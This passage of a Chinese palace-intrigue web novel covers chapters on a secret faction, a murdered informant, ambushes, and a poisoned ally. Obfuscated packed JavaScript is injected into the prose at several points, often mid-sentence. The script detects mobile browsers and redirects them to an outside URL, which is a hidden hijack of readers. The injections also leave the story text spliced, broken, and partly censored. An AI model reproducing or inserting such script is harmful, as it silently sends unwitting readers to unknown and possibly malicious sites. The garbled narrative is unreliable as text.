“守卫并未发现异常。”黎音袅打断他,“或者说,送信之人,有能力避开所有耳目。” 江令舟放下信纸。“信中所言,与我们之前的推测多有吻合。谋逆案,客栈,还有那个可能的‘楼兰会’……这送信人,掌握了相当多的内情。” “或者,他想让我们以为他掌握了内情。”黎音袅道。 “你的意思是,这是陷阱?故意引导我们?”江令舟看向她。 “有此可能。”黎音袅走到书案后坐下,“但无论其目的为何,信中提及的危险,以及那股隐藏势力的存在,大概率是真的。朝堂上的争斗,确实只是表象。” 江令舟踱了两步。“他们提到了我们二人。‘已成目标’,‘处境危殆’。这警告的分量不轻。” “威胁,也是一种试探。”黎音袅手指轻敲桌面,“试探我们的反应,我们的底牌。” “那我们如何应对?”江令舟问,“信中内容虚实难辨,若全然不信,恐中圈套;若全然相信,又可能被误导。” “信的内容,可以作为参考,不必尽信。”黎音袅道,“但信本身的存在,就是一个明确的信号:我们被盯得很紧,对方已经开始出招。” “加强防备是必然的。”江令舟说,“府内府外,都需要增派人手,小心排查。” “防备是被动之举。”黎音袅摇头,“千日防贼,不如主动出击。我们需要找出这股势力,挖出送信的人。” “可如今京中形势……”江令舟有些迟疑,“我们任何大的动作,都会引来注目。三司会审尚未结束,赵康等人正等着抓我们的把柄。” “所以,要暗中进行。”黎音袅语气平静,“动用我们能动用的所有暗线,不经任何官面途径。从信中提及的线索入手,重新梳理谋逆案的卷宗,追查客栈背后更深层的人脉网络。” 江令舟沉吟片刻。“此事风险极大。一旦被察觉,后果不堪设想。” “不作为,风险更大。”黎音袅看着他,“等敌人将刀架在脖子上,再想反击就晚了。我们没有退路。” 江令舟不再反驳。“好。我负责调动京畿之外的力量,从客栈那条线查起。你坐镇京中,协调内部资源,排查府内及宫中可能的眼线。” “可以。”黎音袅点头,“另外,玉佩的线索也不能断,那或许是另一个突破口。” “我明白。”江令舟应下,“你自己也要格外小心。” 黎音袅未再多言。江令舟也沉默下来,书房内一时只有窗外微风拂过树叶的沙沙声。 片刻后,江令舟准备告辞。黎音袅重新拿起那封匿名信件,指尖拂过纸面,感受着那陌生的笔迹留下的凹痕。 调查无声无息地进行。 数周过去,进展寥寥。江令舟从京畿外传回消息,客栈那条线索追查下去,关联人等或消失无踪,或意外身亡,指向更深层网络的脉络在触及核心前便被斩断。他的人扑了几次空,只带回一堆无法证实的传闻和几具冰冷的尸体。 黎音袅这边同样不顺。动用所有能调动的暗棋,在京中排查,如同大海捞针。宫廷与朝堂盘根错节,眼线密布,却不知哪些是对手布下的棋子。每一次试探都小心翼翼,生怕打草惊蛇,引来不必要的麻烦。赵康等人依旧虎视眈眈,朝堂上的风波并未因谋逆案的暂时平息而真正停止。 “西市那个香料商人,失踪了。”一名心腹低声汇报,“我们的人找到他的住处时,已人去楼空,只留下些寻常家什。” 黎音袅翻看着手里的密报,纸上记录着近期的失败。“失踪?还是被处理了?” “不好说。邻居只说他几日前便没再露面。” “查他接触过什么人,去过什么地方,特别是失踪前。”黎音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“京外那条线,我的人似乎摸到了一个可能的联络点。”江令舟换了个话题,声音压得更低,“一个绰号‘老鬼’的人,混迹于漕运码头,行事隐秘,可能负责部分物资转运或消息传递。” 黎音袅:“可靠吗?” “七成把握。”江令舟说,“他与几处出事的地点都有间接联系,时间上也能对上。但此人非常警觉,像只受惊的兔子。” 黎音袅:“抓活的。” 江令舟:“我打算亲自去布置。调动最可靠的人手,务必一击即中。” “不要动用官面力量,人手要精,行动要快。”黎音袅叮嘱,“一旦被察觉,他背后的人会立刻切断联系,甚至**灭口。”她心里升起一丝希望,又强自按捺下去。之前的失败太多,她不敢过分乐观。 江令舟点头。“我今晚就动身。” 黎音袅:“万事小心。” 江令舟起身,准备离开。走到门口,他又停下脚步,回头看向黎音袅。“如果……我是说如果,连这条线也断了,我们该怎么办?” 黎音袅没有看他,目光落在书案的某个点上。“那就继续找。挖地三尺,也要把他们找出来。”她的语气没有任何波澜,仿佛在说一件再平常不过的事情。 江令舟不再多问,转身离去。 三天后,消息传回。 不是江令舟亲自送回,而是通过一个极其隐秘的渠道,送来一张字条,上面只有一个字:死。 黎音袅拿着字条,指尖微微发力,纸张边缘被捏得有些变形。她预想过失败,但没料到会是这种结果。 不久,江令舟回来了,脸色阴沉。 “怎么回事?”黎音袅问。 “我们找到‘老鬼’的藏身之处,一处废弃的货仓。”江令舟的声音有些沙哑,“行动很顺利,没有惊动任何人。但我们冲进去的时候,晚了一步。” “他**?” “**。**封喉,一刀毙命。手法干净利落。”江令舟走到书案前,拿起茶杯,却没喝,只是握在手里。“我们的人赶到时,尸体尚有余温,凶手离开不会超过一刻钟。” 黎音袅:“现场有什么发现?” “几乎没有。”江令舟摇头,“凶手很专业,处理了所有可能留下的痕迹。没有目击者,附近也没有发现可疑人员。” “一刻钟……”黎音袅沉吟,“时间掐得太准了。就像知道我们要去抓他一样。” “这也是我最担心的。”江令舟放下茶杯,“我们的行动计划,只有极少数核心人员知道。传递消息也用了最可靠的方式。” “要么,我们核心圈子里有内鬼。”黎音袅看着他,“要么,对方在我们无法想象的地方安插了眼线,监视着我们的一举一动。” “内鬼的可能性不能排除。”江令舟说,“回去后我会彻查参与行动的所有人。” “查,不一定能查出来。”黎音袅道,“对方能安插内鬼,就能想到我们会查。或许,根本没有内鬼,只是我们的行踪,从一开始就暴露了。” 江令舟:“你的意思是?” “从你调动京外人手那一刻起,可能就被盯上了。或者,从我们讨论‘老鬼’这个名字开始。”黎音袅的推测大胆而冰冷,“他们的情报网络,比我们预想的更可怕。” 江令舟没有立刻反驳。这种无孔不入的监视感,让他也感到一阵寒意。 “现场真的什么都没留下?”黎音袅追问。 江令舟似乎想起了什么。“不完全是。有一个细节,或许算不上线索。” “说。” “‘老鬼’死的时候,手里攥着一样东西。”江令舟回忆,“不是什么贵重物品,也不是信件。是一小撮……干枯的草药。” “草药?”黎音袅蹙眉。 “是的。很普通的一种止血草药,但被他捏得很紧,像是临死前下意识抓住的。”江令舟补充道,“我的人检查过,那草药并非他随身携带之物,也不是货仓里原有的东西。像是……凶手不小心遗落,或者搏斗中沾上的。” “止血草药……”黎音袅低声重复,“什么样的草药?产自何地?有什么特殊之处?” “很常见的一种,北方山区多有生长。”江令舟回答,“唯一有些奇怪的是,那草药似乎是用一种特殊的绳结捆扎过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548027|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绳结的样式很罕见,我的人正在比对查找来源。” 线索虽然微弱,但终究是线索。在经历了一连串的失败和打击后,这一点点异常,显得尤为重要。 “查。”黎音袅只说了一个字。 江令舟点头,转身离开书房。 黎音袅独自留在屋内,重新拿起那张写着死字的字条,将其缓缓凑近烛火。 烛火跳动,映着黎音袅沉静的侧脸。 江令舟的声音打破了室内的寂静。“那绳结的样式,查到了一些眉目。” 黎音袅抬眼看他。 “宫中造办处的一种旧式结法,用于捆扎贡品药材,确保运输途中不易散落。”江令舟道,“但这种结法二十年前就已废弃,被更简便的方式取代。” “二十年前……”黎音袅重复,“造办处。” “是的。我的人排查了当年在造办处当差、熟悉这种结法的老人。大部分已故去或离京,剩下的几个,还在逐一核实。”江令舟停顿了一下,“但这指向了一个可能:凶手,或者与凶手相关的人,可能与宫廷,或者说,与二十年前的宫廷有某种联系。” 黎音袅没有说话。二十年前,一个太过遥远的时间点,足以让许多痕迹消失。这线索,比那干枯的草药本身更缥缈。 “还有一件事。”江令舟继续,“追查这种罕见绳结的流向时,我们的人顺藤摸瓜,查到了一些与药材贸易相关的账目。” “账目?” “对。主要是几家京城的大药行,以及南方几处药材产地的商号。起初只是核对是否有这种特殊包装的药材记录,结果发现了一些……不寻常的资金流动。”江令舟走到桌边,摊开一张简略的图表,“几位朝廷官员的名字,出现在这些药行的往来账目中。数额不大,单看很正常,像是购买珍稀药材的支出。” 黎音袅看着图表上那几个名字,户部侍郎,工部员外郎,甚至还有一位宗室闲散王爷。 “但奇怪的是,这些资金并没有真正用于购买药材。”江令舟指着图表上的几条流向线,“它们通过几家药行、钱庄辗转腾挪,最终汇入了一个我们从未听过的名字——百草堂。” “百草堂?像是个药铺的名字。” 第92章继续监视 “查过了,京城和有记录的州府,都没有这个字号的药铺或商号。”江令舟道,“它更像是一个代号,一个接收资金的账户。而且,资金汇入后,很快就会被再次转出,去向不明。” 黎音袅的手指轻轻敲击着桌面。“数额有多大?” “累计起来,不是小数目。”江令舟回答,“足够在边境组织起一支小规模的私兵,或者支撑起一个不小的地下网络。” “南方疫病,边境动荡。”黎音袅缓缓说出这几个词,“这些官员,他们的职权范围,或者人脉,是否与这些事有关联?” 江令舟点头。“户部侍郎,主管钱粮调拨;工部员外郎,负责军械营造;那位王爷,虽是闲散宗室,但与南边几个大盐商关系密切。这些联系,单独看都不起眼,但放在一起……” “一个巨大的利益网络。”黎音袅接话,“这个百草堂,很可能就是那个我们一直在找的神秘组织,或者至少是他们的钱袋子。” “我也是这么想的。”江令舟道,“他们行事隐秘,通过看似合法的途径敛财,再投入到不可告人的活动中。这比直接贪腐更难追查。” “老鬼的死,恐怕不是意外,而是灭口。”黎音袅道,“他可能知道了这个组织的某些秘密,或者接触到了不该接触的人。” “那个留下干枯的草药和绳结的凶手,或许就是这个组织的核心成员,或者至少是与二十年前宫廷有联系的关键人物。”江令舟补充。 线索逐渐串联起来,指向一个更庞大、更危险的阴影。 “我们现在怎么办?”江令舟问,“直接抓捕这些官员审问?” “不行。”黎音袅摇头,“打草惊蛇。他们背后的人能量不小,能让老鬼无声无息地死在我们的眼皮底下,就能让他们也人间蒸发。我们需要更多、更直接的证据,证明他们与百草堂的关系,以及百草堂与南方疫病、边境动荡的联系。” “你的意思是?” “分头行动。”黎音袅看着江令舟,“你继续监视这几位官员,记录他们的一举一动,特别是与其他人的接触,以及任何可疑的资金往来。我要动用我的人,从另一个方向查。” “哪个方向?” “这些官员的背景,他们的家族,他们二十年前的经历,以及他们与南方、与边境千丝万缕的联系。”黎音袅道,“特别是那位宗室王爷,闲散之人,却牵涉其中,这本身就不寻常。我要知道,他们每个人,是如何被拉进这个利益网的,谁是主导,谁是棋子。” “这需要庞大的人手和细致的排查。”江令舟提醒。 “我知道。”黎音袅的语气没有波澜,“京城里,有些人欠我人情,有些人需要我的庇护。是时候让他们出点力了。” 黎音袅的内心并不像表面那么平静。对手的谨慎和网络的庞大超出预期。从干枯的草药到百草堂的账目,线索看似清晰了,但每一步都可能踏入陷阱。那个死去的“老鬼”,他临死前紧攥着那撮草药,是在留下线索,还是在表达某种绝望? “查账目的人可靠吗?”黎音袅问。 “绝对可靠。”江令舟回答,“是我从京外带来的老人,与京中各方势力没有瓜葛。” “那就好。”黎音袅略微放心,“但还是要小心。对方既然能提前知道我们抓捕老鬼的行动,就可能已经察觉到我们在查账。” “我会安排好的。”江令舟道,“监视会更加隐秘。” 黎音袅:“我这边,也会用最稳妥的方式传递消息。我们之间的联系,也要更加谨慎。” 江令舟点头。“明白。” 他看着黎音袅,烛光下她的脸庞显得有些苍白,却透着一种无法动摇的决心。他知道,接下来的每一步都如履薄冰。 “那个百草堂,名字起得倒是有趣。”黎音袅忽然说,像是在自语,“百草……是治病救人,还是……滋生毒瘤?” 江令舟没有回答。在这个局里,名字往往是最具迷惑性的东西。 “你先回去安排。”黎音袅道,“有任何异动,立刻通知我。” 江令舟应了一声,转身离开。 书房内只剩下黎音袅一人。她走到窗边,看着外面沉沉的夜色。京城繁华依旧,但这平静之下,暗流汹涌。那个神秘的组织,像一张无形的网,笼罩在头顶。她能感觉到,这张网正在慢慢收紧。 她拿起桌上那张江令舟留下的图表,手指划过那几个官员的名字。户部侍郎,工部员外郎,宗室王爷……还有那个百草堂。 必须尽快找到突破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548028|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 她走到书案前提笔,开始写信。不是给江令舟,而是给京城里那些她可以用的人。 夜色渐深。 信笺送出,如同投入深潭的石子,未闻回响,只余涟漪。 数日过去,京城表面一如往常。车马喧嚣,市井繁华。然而,黎音袅府邸与江令舟暂居之处,无形的视线增多了。并非明目张胆的窥伺,而是街角一闪而过的人影,茶楼二层临窗的陌生面孔,甚至夜间屋瓦上极其轻微的窸窣声。 “他们察觉了。”江令舟的声音通过密信传来,字迹潦草,透着急促,“监视我们的人,手法老练,隐匿极好。我的人数次尝试反追踪,都被甩脱,险些暴露。” 黎音袅捏着信纸。果然如此。对手的反应比预想的更快。她自己也感受到了。平日里走惯的路线,总会遇到些“巧合”。今日是货郎担子翻倒,堵了半条街;昨日是酒楼跑堂的失手,泼了她车夫一身茶水。这些事单独看,微不足道,合在一起,便织成一张令人不安的网。 “小姐,今日出门是否还要走安仁街?”贴身侍女轻声询问,整理着黎音袅的发髻。 “不。”黎音袅看着铜镜中的自己,“去城西的静心庵,我有东西要交给住持。” 她需要验证一些事情。那些她动用的人情,是否也已被对方纳入视线?静心庵是她传递消息的其中一个中转点,相对隐蔽。 马车驶出府门,沿着既定路线前行。黎音袅闭目养神,手指却无意识地摩挲着袖口里藏着的短匕。她不习惯将安危全然寄托于护卫。尤其是现在。 行至一处僻静巷口,前方道路被一辆倾倒的木柴车挡住。车夫勒停马匹。 “怎么回事?”护卫头领上前查看。 几乎是同时,两侧低矮的院墙上,数道黑影如鬼魅般落下。没有呼喝,只有兵刃出鞘的锐响。动作迅捷,配合默契,目标直指马车。 “保护小姐!”护卫头领厉喝,拔刀迎上。 瞬间,巷内杀气弥漫。对方人数不多,但个个身手狠辣,招式简洁有效,显然是训练有素的**。黎音袅的护卫虽也精锐,却被打了个措手不及,转眼间便有两人负伤倒地。 “嗤啦——” 车厢壁被利刃划开一道长长的口子。 第93章他们疯了 黎音袅睁开眼,没有惊慌。她握紧短匕,身体紧贴车厢另一侧。她能听见外面的打斗声,兵器碰撞,闷哼,还有自己护卫逐渐微弱的呼喊。 一只手从破口处伸了进来,摸索着试图打开车门插销。 黎音袅手腕一翻,短匕精准地刺向那只手。 一声短促的痛呼,手缩了回去。 但外面的压力更大了。车门开始剧烈晃动,撞击声沉闷。 “退后!” 一声熟悉的低喝穿透混乱。 是江令舟。 马蹄声急促,数名劲装武者随着江令舟冲入巷内,立刻加入了战团。局势瞬间扭转。江令舟本人如猛虎下山,长剑挥洒,逼退了**马车的两名黑衣人。 黑衣人见援兵已到,事不可为,彼此交换了一个眼色,其中一人发出一声短促的鸟鸣般的哨音。剩余几人毫不恋战,虚晃一招,立刻抽身,几个起落便消失在院墙之后,退得干净利落。 巷内只留下几具黑衣人的尸体,还有受伤的护卫和狼藉的现场。 江令舟快步走到马车边,声音急切:“黎音袅,你没事?” 车帘掀开,黎音袅走了下来。她脸色有些白,但眼神平静。她看了一眼地上的尸体,又看向江令舟。 “你来得及时。” “我一直派人留意你的动向。”江令舟解释,“这条路不寻常,我让两个人远远跟着,发现不对立刻报了信。”他的视线扫过黎音袅,确认她没有受伤,才转向那些黑衣人的尸体。他蹲下身,仔细检查其中一人的衣物和武器。 “是死士。”他起身,语气沉重,“身上没有任何身份标识,武器也是寻常制式,但手法……”他停顿了一下,“有些像边境那边的人,但不完全一样。” 黎音袅的视线落在一名死者扭曲的手指上,那里似乎空了一个位置,像原本戴着什么东西。她没有说话,心中却是一沉。边境?这与她的猜测隐隐吻合。 “他们不是要杀我。”黎音袅道,“更像是试探,或者警告。” “试探我们的底细,警告我们不要再查下去。”江令舟接口,“他们的反应速度,组织能力,超出我们的预料。”他看了一眼黎音袅的护卫,有人重伤,无人死亡,但显然经历了一场恶战。“你府上的护卫,需要加强了。” “你那边也是。”黎音袅道,“他们既然敢在这里动手,就敢去你那里。” 江令舟:“回去再说。” 回到黎府,气氛凝重。受伤的护卫被迅速抬下去救治。江令舟遣散了手下,只身与黎音袅进入书房。 “我的人在一名死士身上发现了这个。”江令舟摊开手掌,一枚小巧的黑色金属牌躺在他掌心。牌子非金非铁,质地奇特,上面刻着一个扭曲的、难以辨认的符号,像是某种图腾,又像是某种文字。 黎音袅拿起那枚黑色金属牌,入手冰凉。这符号她从未见过。 “这是什么?” “不清楚。”江令舟摇头,“但我肯定,这不是大胤朝的东西。或许与那个所谓的百草堂有关,或许与更后面的势力有关。” 黎音袅摩挲着牌子上的符号。“他们留下这个,是疏忽,还是故意?” 这个问题,无人能答。 “无论如何,我们不能停。”黎音袅放下牌子,“他们越是想阻止,越说明我们查的方向是对的。” “但风险也更大了。”江令舟道,“今天若不是我的人离得近……” “没有万全之策。”黎音袅打断他,“从我们决定查下去的那一刻起,就身在局中,没有退路。”她看向江令舟,“那几位官员的背景,查得如何?” “有些眉目了。”江令舟道,“户部侍郎的老家,二十年前曾是南方疫区的边缘地带。工部员外郎的岳家,在边境有商队往来。那位宗室王爷,年轻时曾游历南方,还在边境待过一年。” 线索,像散落的珠子,开始被串联起来。南方疫病,边境动荡,百草堂,京中官员…… “不够。”黎音袅道,“这些联系太模糊,无法作为直接证据。我们需要更具体的东西,比如资金流向,比如他们与百草堂管事的直接接触。” “查账的人还在进行,但百草堂的账目做得极干净,表面看,与这几位官员毫无关联。”江令舟道,“至于直接接触,他们非常谨慎,几乎都是通过中间人,而且地点隐蔽,难以追踪。” “那就从中间人查起。”黎音袅道,“还有,那个宗室王爷,一个闲散王爷,为何会牵扯进这种掉脑袋的事情里?他的动机是什么?仅仅是为了钱?” 江令舟:“我会加派人手,重点查他。” “我们必须加快速度。”黎音袅语气决绝,“在他们下一次动手之前,找到突破口。今日之事,不会是最后一次。” 书房内,烛火跳动。那枚黑色金属牌在桌上反射着幽暗的光。 江令舟看着黎音袅,她的决心未曾动摇,只是眉宇间多了一丝挥之不去的疲惫和冷厉。 “我会安排好府内外的守卫。”江令舟道。 黎音袅点头,拿起那枚金属牌。 秋夜,礼部在澄心湖畔设宴。 月色正好,灯火璀璨,官员士绅携带家眷,场面热闹。黎音袅与江令舟并肩而行,穿过人群,走向临水的亭阁。周围喧嚣,他们之间却很安静。 “人多眼杂。”黎音袅开口。 “正是如此。”江令舟回应,“他们若想动手,这里是好地方。” 黎音袅:“你安排了人?” 江令舟:“亭外有,暗处也有。你兄长那里,我也打了招呼,让他的人在附近策应。” 黎音袅:“他会来?” 江令舟:“以防万一。” 两人在指定的位置坐下,侍者奉上茶点。丝竹声飘来,伴着宾客的谈笑。一切看起来平常无事。黎音袅端起茶杯,指尖触到杯壁的温度。她观察四周,试图分辨哪些笑容是真,哪些是假。人心难测,尤其是在这京城。 江令舟:“那个王爷,查到些东西。他最近手头似乎很紧,在几家钱庄都有大额借贷,还变卖了城郊几处产业。” 黎音袅:“为钱铤而走险?一个宗室王爷,不至于如此。”她放下茶杯,“除非,他有更大的把柄被握在别人手里,或者,他所图谋的,远不止是钱。” 江令舟:“或许与他年轻时在南方的经历有关。那边……水很深。” 他们正说话间,邻桌一位官员过来敬酒,寒暄几句。江令舟从容应对,黎音袅只是点头示意。那官员离开后,江令舟低声道:“吏部的人。” 黎音袅:“我们查的人里,没有吏部的。” 江令舟:“嗯。” 突然,一声巨响从亭阁的另一端传来。 轰——!!! 地面震动,亭柱摇晃。灯笼瞬间熄灭大半,木屑瓦砾四溅。尖叫声、哭喊声、惊呼声混杂在一起,人群陷入恐慌,四散奔逃。 “趴下!”江令舟反应极快,将黎音袅按倒在地,同时拔出藏在袖中的短匕。 烟尘弥漫,视线受阻。混乱中,数道黑影如鬼魅般从倒塌的梁柱后、从翻倒的桌椅间窜出,目标明确,直扑他们所在的位置。这些人动作迅捷,出手狠辣,手中兵器在残存的月光与火光下闪着寒芒。 黎音袅推开江令舟压着她的手臂,抽出腰间软剑。“小心!” 江令舟的护卫与黎府的护卫立刻围拢过来,与黑衣人战作一团。但袭击者显然早有准备,人数众多,且悍不畏死。**制造的混乱,为他们提供了绝佳的掩护。 刀剑相击声叮当作响,夹杂着闷哼与惨叫。不断有人倒下,有护卫,也有袭击者。 黎音袅挥剑格开一把劈向她面门的弯刀,反手刺出,剑尖没入对方胸口。血溅出来,温热。她不及多想,侧身避过另一人的偷袭。 “他们人太多了!”一名护卫喊道,他胳膊上鲜血淋漓。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548029|171216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江令舟挥匕挡开攻击,护在黎音袅身侧:“往水边退!” 水边相对开阔,不易被围死。两人背靠背,且战且退。袭击者紧追不舍,攻势越发猛烈。他们配合默契,显然训练有素,目的只有一个——置他们于死地。 黎音袅感到压力。这些**,比上次在街巷遇到的更为棘手。他们不像是普通的死士,更像是战场上磨砺出来的精锐。 “这些人……不是大胤的兵。”江令舟格挡时,沉声说道。招式路数,带着异域的风格。 黎音袅心中一动。楼兰?与那黑色金属牌有关?他们竟然敢在京城腹地,如此大规模地动手! 一个疏忽,一把淬毒的短刃无声无息地刺向黎音袅后心。她正全力应对前方的敌人,未能察觉。 “音袅!”江令舟猛地将她推开。 噗嗤—— 短刃没入了江令舟的左肩。他身体一震,脸色瞬间变得苍白。 “江令舟!”黎音袅失声喊道,心脏像是被一只手攥紧。 江令舟闷哼一声,右手**反撩,逼退了偷袭者,但左臂已然垂下,鲜血迅速染红了他的衣衫,伤口边缘泛着不正常的乌黑。 “我没事……毒……”他咬牙道,额头渗出冷汗。 黎音袅看着他肩上乌黑的血,一股怒火与恐慌交织的情绪冲上头顶。她从未如此刻般痛恨自己的无力。他们步步为营,小心谨慎,却还是落入了对方更狠毒的圈套。 “退!”江令舟强撑着,试图继续掩护她。 “你退!”黎音袅反手将他护在身后,剑招变得凌厉,带着一种不顾一切的决绝。她不能让他死在这里。绝不。 **们看准了江令舟受伤,攻势更加疯狂。黎音袅独力难支,身上很快也添了几处伤口。护卫们伤亡惨重,包围圈越来越小。绝望,如同冰冷的水,开始蔓延。 难道今日,真的要殒命于此?黎音袅脑中闪过这个念头,随即被她强行压下。不,她还没有查清真相,还没有为那些枉死的人讨回公道。 就在这时,一阵急促而密集的马蹄声由远及近,伴随着整齐的呼喝。 “保护郡主!” 火把亮起,如同白昼。一群穿着黎府家将服饰、手持兵刃的人马冲破外围的混乱,如同一柄尖刀,狠狠插入战团。为首一人,正是黎音树。 他策马冲锋,手中**挥舞,瞬间挑翻了几个措手不及的**。 “兄长!”黎音袅喊道。 黎音树看到场中情形,尤其看到江令舟肩上的伤势和黎音袅嘴角的血迹,脸上怒气勃发。“杀!一个不留!” 援兵的到来,瞬间扭转了局势。**们见势不妙,开始试图撤退。但黎音树带来的人手显然更多,配合默契,将他们死死缠住。 一场混战之后,大部分**被斩杀当场,少数几个见无法脱身,竟直接咬碎毒囊自尽。 黎音树翻身下马,快步走到黎音袅面前。“你怎么样?” “我没事。”黎音袅摇头,立刻转向江令舟,“他**了!” 江令舟靠着一根断柱,嘴唇发紫,意识开始模糊。黎音树上前,迅速撕开江令舟肩头的衣服,看到那乌黑的伤口,脸色凝重。“快!送回府!请御医!” 几名家将上前,小心翼翼地将江令舟抬起。 黎音袅看着江令舟失去血色的脸,手指收紧。 黎音树指挥手下清理现场,救治伤员,同时派人封锁澄心湖,追查**源头。他走到黎音袅身边。 “放心,江令舟底子好,御医会有办法。”黎音树开口,语气尽量平稳。 黎音袅没有说话,只是看着被抬走的江令舟。 黎音树:“是楼兰人?” 黎音袅:“**不离十。” 黎音树:“他们疯了。” 黎音袅转身,看向满地的狼藉与血腥。“是啊,他们疯了。” 她抬步,跟上抬着江令舟的家将。 第94章 决心 江令舟躺在床上,没有醒来。 将军府最好的厢房,此刻弥漫着浓重药味。几位须发皆白的太医围在床边,轮流诊脉,查看伤口,低声讨论,却一次次摇头。那乌黑的伤口不再流血,周围的皮肤却呈现出一种死气沉沉的青紫色,边缘微微肿胀。 “此毒从未见过,霸道至极。”一位年长的太医沉声道,声音里带着疲惫与无力,“老夫尝试了几种解毒之法,都如石沉大海。” 另一位太医补充:“毒素已侵入心脉,江大人能撑到现在,全凭他内力深厚。只是……时间不多了。” 黎音袅站在床尾,双手交握,指节用力到发白。她听着太医们的低语,每一个字都像针一样扎在她心上。她看着江令舟毫无血色的脸,他平时总是带着三分慵懒笑意的唇此刻紧抿,泛着不祥的紫色。额头上不断渗出细密的冷汗,即使在昏迷中,他的眉头也紧锁着,似乎在承受巨大的痛苦。 她什么都做不了。这种无力感,比在澄心湖面对围杀时更甚。那时她还能挥剑,还能反抗,而现在,她只能眼睁睁看着他生命一点点流逝。 “长公主”为首的太医转过身,躬身道,“臣等无能,江大人的情况……恐怕需要找到下毒之人,获取解药,或者寻访世间奇人异士,或许还有一线生机。” “解药……”黎音袅重复着这两个字。下毒的人不是**就是自尽,哪里去找解药?奇人异士?京城太医院都束手无策的毒,世间又有几人能解? “用所有能用的珍贵药材,吊住他的命。”黎音袅开口,声音有些干涩,“一天,或者半天,尽可能拖延时间。” 太医们互看一眼,应了声“是”,再次忙碌起来。 黎音树推门进来,看到妹妹站在那里,像一尊没有生气的玉雕。他走到她身边,低声道:“太医怎么说?” 黎音袅没有看他,视线依然落在江令舟身上。“他们没办法。” 黎音树沉默片刻。“我已经加派人手,全城搜捕可能存在的楼兰细作,澄心湖那边也在仔细勘察,看看能不能找到关于**的线索。” “嗯。”黎音袅应了一声。 “朝堂上……”黎音树顿了顿,“今天早朝,御史台又上了几本奏章,**你擅自带兵出城,干预禁军巡防” 黎音袅终于转过头,脸上没什么表情。“他们他们当然要**我。”黎音袅说,“江令舟出了事,他们最高兴。巴不得我失去臂助,再趁机把我拉下马。”她看向黎音树,“你回去吧,守好将军府。朝堂上的事情,我自会应对。” “音袅,”黎音树语气中带着担忧,“现在不是逞强的时候。江令舟的事,我会尽力寻找其他名医。但你自己也要小心,这次的事情显然是冲着你来的,他们敢在京城动手,不会善罢甘休。” “我知道。”黎音袅回答。她心中清楚,江令舟的受伤,是对方精准打击她的弱点。他们不仅要她的命,更要摧毁她身边的一切。她不能坐以待毙。 黎音树见她神色疲惫,知道劝说无用,只得叹了口气。“有事随时派人通知我。” 黎音树离开后,黎音袅重新坐回床边。她看着江令舟,思绪快速运转。太医们对**束手无策,指望他们按部就班地研究出解药不现实。唯一的办法,是主动出击,找到下毒的人,或者与这个**有关的线索。 袭击者是楼兰人,这一点几乎可以确定。但楼兰人在京城潜伏,不可能孤立无援。他们背后一定有人支持,甚至操控。澄心湖的**,**的精准袭击,以及这种闻所未闻的**,都显示出对方周密的计划和强大的实力。 “楼兰会……”黎音袅低语。这个组织最近在京城活动频繁,但行踪诡秘。要查他们,必须深入他们的内部,或者找到他们的联络点。 她起身,走到书桌旁,铺开一张京城地图。澄心湖位于城南,袭击者撤退的方向是城西。这不符合常理,像是故意为之。是为了分散注意力?还是他们的真正据点在西边? 黎音袅手指在地图上移动。她回想起之前调查到的一些关于楼兰会在京城活动的零散信息,那些信息指向城西的一处坊市。那里的流动人口多,鱼龙混杂,容易隐藏。 她需要冒险。等待太医们研究出解药,或者等待黎音树从官方渠道查到线索,时间太长。江令舟等不起。 夜色深沉,将军府渐渐安静下来。黎音袅换上一身不起眼的夜行衣,悄悄出了门。她没有带任何人,独自一人,像一道融入夜色的幽灵,朝着城西的坊市而去。 坊市在夜间依然喧闹,只是换了一种喧闹法。白天的商贩收摊,夜晚的勾栏瓦舍、地下赌场开始营业。空气中弥漫着酒气、脂粉气和一种说不清道不明的危险气息。 黎音袅避开巡逻的兵丁和坊市里的帮派分子,穿梭在狭窄的巷道中。她根据之前的线索,来到坊市深处一处看似普通的宅院外。这宅院门前挂着一个酒肆的招牌,但门窗紧闭,没有任何营业的迹象。 她藏身在对面的阴影里,观察了一段时间。没有异常。**静了。她总觉得有些不对劲。 但她不能退缩。江令舟还在等着。 黎音袅翻身跃上屋顶,无声无息地潜入院中。院子里漆黑一片,只有远处街上传来的微弱光线。她小心翼翼地避开可能设置的机关 